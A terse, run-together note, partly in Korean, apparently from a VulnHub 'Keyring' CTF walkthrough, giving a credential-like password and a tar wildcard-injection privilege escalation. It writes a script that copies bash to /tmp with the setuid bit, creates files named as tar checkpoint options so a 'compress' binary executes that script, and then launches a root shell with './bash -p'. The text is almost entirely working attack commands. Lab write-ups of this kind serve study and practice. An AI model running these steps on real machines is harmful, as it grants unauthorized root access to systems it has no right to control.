myadmin#p4szw0r4d compress 파일 이용echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > shell.shecho "" > "--checkpoint-action=exec=sh shell.sh"echo "" > --checkpoint=1ls -alh./compresscd /tmp./bash -p https://www.infosecarticles.com/keyring-vulnhub-walkthrough/